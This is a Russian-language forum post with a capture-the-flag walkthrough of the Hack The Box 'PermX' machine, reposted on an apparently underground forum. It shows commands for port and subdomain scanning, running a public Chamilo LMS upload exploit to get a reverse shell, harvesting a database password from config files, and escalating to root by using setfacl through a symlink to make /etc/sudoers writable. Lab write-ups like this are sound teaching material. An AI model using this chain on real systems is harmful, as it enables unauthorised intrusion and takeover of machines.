• [ Регистрация ]Открытая и бесплатная
  • Tg admin@ALPHV_Admin (обязательно подтверждение в ЛС форума)

Статья Закрепляемся в Linux при помощи setfacl

stihl

Moderator
Регистрация
09.02.2012
Сообщения
1,179
Розыгрыши
0
Реакции
510
Deposit
0.228 BTC
stihl не предоставил(а) никакой дополнительной информации.
Сегодня я покажу, как использовать команду setfacl, чтобы закрепиться на машине с Linux и повысить привилегии. Но сначала нам надо будет получить к ней доступ. Сделаем мы это при помощи бага в системе Chamilo, а для перехода в контекст безопасности пользователя разберемся с веб‑приложением и получим учетные данные.
Наша цель — получение прав суперпользователя на машине PermX с учебной площадки Для просмотра ссылки Войди или Зарегистрируйся. Уровень задания — легкий.

warning​

Подключаться к машинам с HTB рекомендуется только через VPN. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.

Разведка​


Сканирование портов​

Добавляем IP-адрес машины в /etc/hosts:

10.10.11.23 permx.htb
И запускаем сканирование портов.

Справка: сканирование портов​

Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:

Код:
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1

Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A).
Результат работы скрипта
Результат работы скрипта
Скрипт нашел два открытых порта:

  • 22 — служба OpenSSH 8.9p1;
  • 80 — веб‑сервер Apache 2.4.52.
Первым делом идем осматриваться на сайте.

Главная страница сайта
Главная страница сайта

Точка входа​

Ничего интересного найти не удалось, поэтому приступим к сканированию.

Справка: сканирование веба c feroxbuster​

Одно из первых действий при тестировании безопасности веб‑приложения — это сканирование методом перебора каталогов, чтобы найти скрытую информацию и недоступные обычным посетителям функции. Для этого можно использовать программы вроде Для просмотра ссылки Войди или Зарегистрируйся, Для просмотра ссылки Войди или Зарегистрируйся или Для просмотра ссылки Войди или Зарегистрируйся. Я предпочитаю Для просмотра ссылки Войди или Зарегистрируйся.
При запуске указываем следующие параметры:
  • -u — URL;
  • -w — словарь (я использую словари из набора Для просмотра ссылки Войди или Зарегистрируйся);
  • -t — количество потоков;
  • -d — глубина сканирования.
Запускаем feroxbuster и задаем все параметры:

feroxbuster -u [URL]http://permx.htb/[/URL] -w directory_2.3_medium_lowercase.txt -d 1 -t 128
Результат сканирования каталогов
Результат сканирования каталогов
Ничего интересного не обнаружено, однако мы знаем реальный домен — permx.htb. Давай просканируем поддомены с помощью ffuf. При запуске используем следующие параметры:

  • -w — словарь (тот же);
  • -t — количество потоков;
  • -u — URL;
  • -H — HTTP-заголовок.
Место перебора помечается словом FUZZ.

ffuf -u [URL]http://permx.htb[/URL] -H 'Host: FUZZ.permx.htb' -w subdomains-bitquark-top100000.txt -t 128
Результат сканирования поддоменов
Результат сканирования поддоменов

В вывод сканера попадают все варианты из словаря, поэтому установим фильтр по коду ответа (параметр -mc). Нас интересуют только варианты с кодом ответа 200.

ffuf -u [URL]http://permx.htb[/URL] -H 'Host: FUZZ.permx.htb' -w subdomains-bitquark-top100000.txt -t 128 -mc 200
Результат сканирования поддоменов
Результат сканирования поддоменов
Находим два новых поддомена, поэтому обновляем /etc/hosts.

10.10.11.23 permx.htb [URL='http://www.permx.htb']www.permx.htb[/URL] lms.permx.htb
Теперь посмотрим новые сайты. На Для просмотра ссылки Войди или Зарегистрируйся получаем тот же лендинг, а на lms.permx.htb нас встречает форма авторизации Chamilo LMS.

Главная страница сайта lms.permx.htb
Главная страница сайта lms.permx.htb
Учетные данные вроде admin:admin не прошли, попробуем найти другой вариант.


Точка опоры​

Первым делом стоит проверить, есть ли для обнаруженной системы готовые эксплоиты. Для этого чаще всего достаточно поискать в Google.

Поиск эксплоитов в Google
Поиск эксплоитов в Google

Почти все первые ссылки указывают на уязвимость Для просмотра ссылки Войди или Зарегистрируйся. Chamilo LMS версии v1.11.24 и ниже позволяет без аутентификации загружать файлы через следующий эндпоинт:

/main/inc/lib/javascript/bigupload/inc/bigUpload.php
Это можно использовать: загрузить веб‑шелл и получить удаленное выполнение кода. Все это уже реализовано в Для просмотра ссылки Войди или Зарегистрируйся, который также может определить наличие уязвимости.

python3 main.py -u [URL]http://lms.permx.htb[/URL] -a scan
Определение наличия уязвимости
Определение наличия уязвимости
Так как мы будем ловить реверс‑шелл, то предварительно активируем листенер:

pwncat-cs -lp 4321
Теперь выполняем эксплоит.

python3 main.py -u [URL]http://lms.permx.htb[/URL] -a revshell
Настройка эксплоита
Настройка эксплоита
Результат выполнения эксплоита
Результат выполнения эксплоита
Эксплоит отработал, а в листенере появилась сессия пользователя www-data.

Сессия пользователя www-data
Сессия пользователя www-data

Продвижение​

Так как мы работаем в контексте учетной записи веб‑сервера, а на хосте развернуто веб‑приложение, самое время поискать учетные данные. Обычно приложения используют какую‑нибудь базу данных, а учетные данные для нее хранятся в переменных окружения или файлах с настройками. Переменные окружения ничего интересного не содержат, поэтому найдем файл по наличию в нем строки, например dp_password.

grep -iR db_password ./
Результат поиска подстроки
Результат поиска подстроки

Находим файл app/config/configuration.php, в котором хранятся все настройки веб‑приложения.

Содержимое файла configuration.php
Содержимое файла configuration.php

Поиск учетных данных в самой базе ничего не дал, однако нередки случаи использования одного пароля в разных сервисах. Возможно, он подойдет и для какого‑то пользователя. Получить пользователей с активной консолью можно из файла /etc/passwd.

cat /etc/passwd | grep bash
Содержимое файла /etc/passwd
Содержимое файла /etc/passwd
Авторизуемся под пользователем mtz и забираем первый флаг.

Флаг пользователя
Флаг пользователя

Локальное повышение привилегий​

Теперь нам необходимо собрать информацию. Я рекомендую использовать для этого скрипты PEASS.

Справка: скрипты PEASS​

Что делать после того, как мы получили доступ в систему от имени пользователя? Вариантов дальнейшей эксплуатации и повышения привилегий может быть очень много, как в Linux, так и в Windows. Чтобы собрать информацию и наметить цели, можно использовать Для просмотра ссылки Войди или Зарегистрируйся (PEASS) — набор скриптов, которые проверяют систему на автомате и выдают подробный отчет о потенциально интересных файлах, процессах и настройках.
Загрузим на удаленный хост скрипт для Linux, дадим право на выполнение и запустим сканирование. В выводе будет много информации, но из значимой только настройки sudoers.

Настройки sudoers
Настройки sudoers
Таким образом, текущий пользователь может выполнить скрипт /opt/acl.sh от имени пользователя root без ввода пароля. Просмотрим исходный код /opt/acl.sh.

Содержимое файла /opt/acl.sh
Содержимое файла /opt/acl.sh

Самой последней командой в привилегированном режиме выполняется файл setfacl, а для него есть Для просмотра ссылки Войди или Зарегистрируйся.

Справка: GTFOBins​

Для просмотра ссылки Войди или Зарегистрируйся — это подборка способов злоупотреблять возможностями популярных программ для Unix. Используя собранные здесь рецепты, можно быстро получить доступ к командным оболочкам, повысить привилегии или передать файлы при помощи легитимных приложений.
Описания GTFOBins для /opt/acl.sh
Описания GTFOBins для /opt/acl.sh

Мы можем установить право записи для любого файла в системе. Так, новая строчка mtz ALL=(ALL:ALL) ALL в файле /etc/sudoers позволит нам выполнить через sudo любую команду.

Справка: sudoers​

Файл /etc/sudoers в Linux содержит списки команд, которые разные группы пользователей могут выполнять от имени администратора системы. Можно просмотреть его как напрямую, так и при помощи команды sudo -l.
Первым делом дадим пользователю mtz все права на файл /etc/sudoers. Чтобы обойти ограничения в скрипте /opt/acl.sh, будем использовать ссылку.

Код:
ln -s /etc/sudoers ./sudoers
sudo /opt/acl.sh mtz rwx /home/mtz/sudoers
Теперь можно дополнить этот файл.

echo "mtz ALL=(ALL:ALL) ALL" >> /home/mtz/sudoers
Эксплуатация техники
Эксплуатация техники
А теперь просто меняем пользователя на root и читаем второй флаг.

Флаг рута
Флаг рута

Машина захвачена!
 
Activity
So far there's no one here
Сверху Снизу